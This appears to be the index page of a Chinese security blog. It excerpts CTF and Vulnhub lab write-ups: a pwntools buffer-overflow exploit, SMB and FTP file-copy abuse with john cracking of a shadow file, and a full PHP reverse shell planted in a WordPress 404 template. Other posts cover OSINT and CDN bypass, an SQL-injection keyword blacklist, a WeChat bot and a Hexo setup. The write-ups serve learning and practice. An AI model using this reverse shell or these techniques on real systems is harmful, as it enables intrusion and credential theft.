wubba lubba dub dub.
post @ 2024-12-20

来源CTFshow

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型:

可以看到没有开启保护,并且是32位小端序

IDA

丢进ida,发现get函数,直接检查,发现s这个字符串长度为九个字节,但是函数却允许输入50个字节,直接点击s可以进入下图界面检查:

可以看到,从s的首地址00000000(相对)处开辟了九个字节的空间,即到-00000009,又因为栈是向下生长(向着正生长),而且get允许输入超过九个字节的字符,我们就可以覆盖r处的返回地址
查看stack函数的地址为0x804850F,所以有payload和exp如下:

from pwn import * # 引入pwntools
p = remote("pwn.challenge.ctf.show",28245) # 连接远程
payload=b"a"*13+p32(0x804850F) # b'a'*13用于覆盖9+4=13个字节,p32函数则构造了stack的返回地址
p.send(payload) # 发送payload
p.interactive() # 交给用户操作(提供交互shell)

得到shell后即可查看flag文件

Read More
post @ 2024-12-19

symfonos-2

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.135开启了80,445,22,21等端口,对应web,smb,ssh,ftp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令

smbclient \\\\192.168.36.135\\anonymous

尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个backup文件夹,下面有个log.txt文件,从中我们们看到一些敏感信息:



发现/var/backups/shadow.bak这个文件里面存放着加密后的用户密码,并且存在一个用户aeolus,且匿名smb登录的目录是/home/aeolus/share
继续使用enum4linux工具爆破出了另一个用户名,不过并没有多大作用
没有思路,使用searchsploit发现ftp服务似乎有文件copy漏洞,尝试复现(一开始尝试使用searchsploit的payload复制一句话到web目录,但因为web目录没有写权限而失败)
我们首先使用ftp 192.168.36.135命令连接ftp服务器,使用匿名账户,随意输入密码发现身份认证失败,但是仍然连接着
然后使用site cpfr /var/backups/shadow.bak选择来源文件
再使用site cpto /home/aeolus/share/shadow.bak选择目的文件,即将shadow.bak拷贝到我们能访问的smb目录下,下载后cat发现被加密后的各个用户的密码:

尝试直接拿密码hash去在线解密网站解密,失败,遂使用john爆破,命令如下:

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

# 注意这里有个坑 每次使用john之前 要把运行目录下的.john/john.pot文件给删掉 否则john无法正确爆破


解得密码sergioteamo,马上尝试ssh登录得到shell,进入后尝试使用les.sh和linpeas.sh等提权脚本发现作用不大,尝试获取端口信息:
1.尝试使用脚本获取端口信息,无果
2.尝试直接netstat,无法运行
所以此时,我们还剩下一个选项,就是尝试得到一个metepreter session然后来查看端口开放状态
打开msfconsole,使用命令

use auxiliary/scanner/ssh/ssh_login  # 密码登录
use auxiliary/scanner/ssh/ssh_login_pubkey  # 公私钥登录
Read More
post @ 2024-12-16

symfonos-1

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.129开启了80,445,22,25等端口,对应web,smb,ssh,smtp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令

smbclient \\\\192.168.36.129\\anonymous

尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个attention.txt文件:

get attention.txt

将文件下载到当前目录,使用cat查看内容:

发现了三个可能的密码:

epidioko
qwerty
baseball
Read More
post @ 2024-09-05

BTRsys-2

来源:Vulnhub

难度:Easy


fscan扫描可知开放了ftp和网页端,其中ftp允许匿名登录,但尝试登陆后没有文件,所以先将注意力放在web页面,对其进行目录扫描发现robots.txt,并发现隐藏的/wordpress目录,访问发现是wordpress博客,在页面中找到登录地址,使用弱口令admin/admin进入后台
在后台一番查找,尝试以文件上传等方式getshell均失败,看提示得知可以通过修改博客的主题外观插件来getshell,我们先修改其主题外观插件的404页面
使用在线生成shell网站:https://shell.nctry.com/
生成php反弹shell:

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.36.132';
$port = 10000;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

网站上还有很多其他的反弹shell,实战时可根据自己需求选择,修改404页面结果如下:

我们使用nc -lvnp 10000先开启监听,然后访问一个不存在的页面以触发404页面
官方做法:访问插件404页面路径位置 “/wp-content/themes/twentyfourteen/404.php”
即可获得一个反弹shell
随后使用两个经典linux提权脚本:
1.linux-exploit-suggester
https://github.com/The-Z-Labs/linux-exploit-suggester
2.linpeas.sh
https://github.com/peass-ng/PEASS-ng/releases
按照脚本给出的提权建议一个个尝试即可成功提权

Read More
post @ 2024-07-13

信息搜集

信息搜集大致可分为两部分,被动信息搜集和主动信息搜集,主要需要搜集目标的组织架构,资产信息和人员信息等,一次好的信息搜集是渗透测试成功的必备基础

被动信息搜集

被动信息搜集又称开源情报,是指能在网上使用各种开放的被动的方法来进行的信息搜集,比如whois查询,dns解析查询,子域名证书查询,icp备案查询等等,这类搜集往往是正常的交互,目标几乎不会有感知

组织架构信息

我们可以使用小蓝本,天眼查,企查查等平台来查询目标的相关组织架构,资产要精确定位,如子公司,孙公司,一般选择控股占比%50以上的单位,并要确认是否目标单位确认资产
这里使用企查查的股权穿透图,可以看到这家公司的组织架构情况,可以看到,这家公司完全由一个股东掌握,旗下没有子公司和其他组织架构:

在天眼查和爱企查上得到了相同的结果,可以基本确定这个企业只有这一家公司
同时我们还可以获得人员的一些相关信息,比如老板的姓名,电话,邮箱,公司的官网等,为下一步的资产搜集和钓鱼做准备
还可进入官网,搜集相关的电话和联系方式,结合这些信息和SGK工具,基本能得到一些人员的个人敏感信息,接下来可以检查以下这些信息,筛选处有效的供下面的流程使用

资产搜集

来到了比较重要的部分,在这里我们开始搜集暴露在公网上可以被访问到的服务器等资产,这些资产,这些资产的质量参差不齐,需要我们筛选

绕过CDN

有的网站可能会做cdn防护,将自己的真实ip隐藏起来,我们可以通过一些方法绕过cdn来获取真实ip
1.邮箱地址,如果目标有类似验证码等邮件服务,可以通过查看邮件的源ip来发现真实ip,因为邮件服务器一般不上cdn
2.phpinfo文件,phpinfo文件的server_addr字段中可能写有真实的ip地址,测试过程中可以尝试获取这个文件
3.分站和子域名,有些网站会用cdn来保护主站,但是没有保护分站
4.国外访问获取真实ip地址,有些网站会针对国内ip进行防护,所以使用国外ip访问可以获取真实ip
5.域名历史解析记录,有些网站可能之前没有上cdn,解析记录了之前的真实ip
6.有的网站有app,app里的请求可能是真实ip

Read More
post @ 2024-05-23

Sql注入

1.常见的SQL注入漏洞主要是由于程序开发过程中不注意规范书写Sql语句以及对特殊字符的不严格过滤,从而导致客户端可以通过全局变量POST和GET提交恶意代码。
2.Fix:基于黑名单、转义、报错

过滤

//黑名单过滤通防
$filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-";

if((preg_match("/".$filter."/is",$username)== 1) || (preg_match("/".$filter."/is",$password)== 1)){
    die();
}

转义

详见EasySQL加固题,这里提供几个函数:

addslashes()

PS:PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测

控制错误信息:

php代码开头添加语句:error_reporting(0);
Read More
post @ 2024-04-11
Here's something encrypted, password is required to continue reading.
Read More
post @ 2024-02-04

鸣谢

xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io

简述

因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/ALinuxSimpleWxbot/

帮助/功能文档

机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信

改昵称必看(重要)

roomname 群昵称 新老群成员可以使用这个修改在数据库里的群昵称,方便机器人称呼和统计最后发言时间,此功能只有在自己修改了群昵称后需要操作一次
username 群昵称 此指令可以修改在数据库里的微信昵称,如果机器人没有提示请不要操作
以上两条指令,如无必要请不要操作,并且不要同时修改群昵称和微信昵称,不然机器人可能会坏掉

常规指令

help 显示本帮助文档
last 显示本人最后发言时间
search 某人 输出某人的最后发言时间
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈

Read More

鸣谢

xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io

简述

因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/AWindowsSimpleWxbot/

帮助/功能文档

机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信,还会每月定时提醒和清理未发言的成员,这个版本比linux版本要强大,但问题是微信版本有限制
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令

常规指令:

help 显示本帮助文档
last 显示本人最后发言时间
search 路人甲,路人乙 输出一个或多个成员的最后发言时间的最后发言时间,要搜索的每个成员之间用英文逗号隔开
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈

注意事项

注意!在群里要积极发言哦!每个月25号会在群内通知这个月还没有发言过的群成员,每个月最后一天清除群内未发言群成员,希望大家珍惜在群里的机会呀!
当有群成员使用发送反馈时,机器人会向你的主微信账号发送反馈内容,当有新群员加入并发言时,机器人会自动记录,如果新人一个月没有发言也将被移出
为了方便地手动操作数据库,还有一个sqlop.py文件,这个python程序提供了简单管理sqlite数据库的条件,运行该程序,并输入相应数据库语句来对你的数据库进行操作。
用get请求访问服务器8080端口下的/check 路径可以检查机器人是否掉线

Read More

简述

因为想总结一下博客的搭建过程,但是忘记都改了什么地方,所以干脆直接重新搭建一次好了

基本安装

首先我们要在设备上安装nodejs,我这里使用的是termux环境,其他linux环境和windows环境应该大同小异,执行以下命令以安装基础包:

pkg install nodejs

然后安装hexo,这里是hexo官方的安装方法

npm install hexo-cli -g
hexo init blog #blog只是一个名字,可以改成自己想要的
cd blog
npm install
hexo server #启动hexo博客

主题安装

这里安装了freemind-bithack这个主题,后面我们会改动这个主题,使其更加实用
安装命令:

cd blog/theme #进入博客的theme目录
git clone https://github.com/Ares-X/hexo-theme-freemind.bithack
mv hexo-theme-freemind.bithack freemind.bithack #将名字改为freemind.bithack
npm install hexo-tag-bootstrap --save
npm install hexo-generator-search --save
Read More
⬆︎TOP